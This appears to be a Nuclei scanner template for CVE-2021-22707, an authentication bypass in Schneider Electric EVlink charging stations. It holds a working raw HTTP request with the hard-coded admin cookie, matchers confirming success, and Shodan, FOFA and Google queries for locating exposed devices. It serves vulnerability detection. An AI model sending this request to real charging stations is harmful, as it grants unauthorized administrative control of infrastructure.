53 lines
2.1 KiB
YAML
53 lines
2.1 KiB
YAML
id: CVE-2021-22707
|
|
|
|
info:
|
|
name: EVlink City < R8 V3.4.0.1 - Authentication Bypass
|
|
author: ritikchaddha,dorkerdevil
|
|
severity: critical
|
|
description: |
|
|
A CWE-798: Use of Hard-coded Credentials vulnerability exists in EVlink City (EVC1S22P4 / EVC1S7P4 all versions prior to R8 V3.4.0.1), EVlink Parking (EVW2 / EVF2 / EV.2 all versions prior to R8 V3.4.0.1), and EVlink Smart Wallbox (EVB1A all versions prior to R8 V3.4.0.1 ) that could allow an attacker to issue unauthorized commands to the charging station web server with administrative privileges.
|
|
remediation: |
|
|
Upgrade to EVlink City R8 V3.4.0.1 or later to fix the authentication bypass vulnerability.
|
|
reference:
|
|
- https://codeberg.org/AmenoCat/CVE-2021-22707-PoC/raw/branch/main/exploit.sh
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-22707
|
|
- http://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-194-06
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
|
|
cvss-score: 9.8
|
|
cve-id: CVE-2021-22707
|
|
cwe-id: CWE-798
|
|
epss-score: 0.39995
|
|
epss-percentile: 0.97263
|
|
cpe: cpe:2.3:o:schneider-electric:evlink_city_evc1s22p4_firmware:*:*:*:*:*:*:*:*
|
|
metadata:
|
|
verified: true
|
|
max-request: 1
|
|
vendor: schneider-electric
|
|
product: evlink_city_evc1s22p4_firmware
|
|
shodan-query: title:"EVSE web interface"
|
|
fofa-query: title="EVSE web interface"
|
|
google-query: intitle:"evse web interface"
|
|
tags: cve2021,cve,evlink,auth-bypass,schneider-electric
|
|
|
|
http:
|
|
- raw:
|
|
- |
|
|
GET /cgi-bin/cgiServer?worker=IndexNew HTTP/1.1
|
|
Host: {{Hostname}}
|
|
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
|
|
Cookie: CURLTOKEN=b35fcdc1ea1221e6dd126e172a0131c5a; SESSIONID=admin
|
|
|
|
host-redirects: true
|
|
max-redirects: 2
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
words:
|
|
- '?worker=Cluster" name="cluster" id="id_cluster'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
# digest: 4b0a00483046022100c2ddc524c81bab04c11b51b6377bb61707042a4f1c9007e4d4fc8dd4b9c415ba022100df0afe79fce39ccb1592f7893da9933c9b1a645a95fa1e6be05a57e53c2b67aa:922c64590222798bb761d5b6d8e72950 |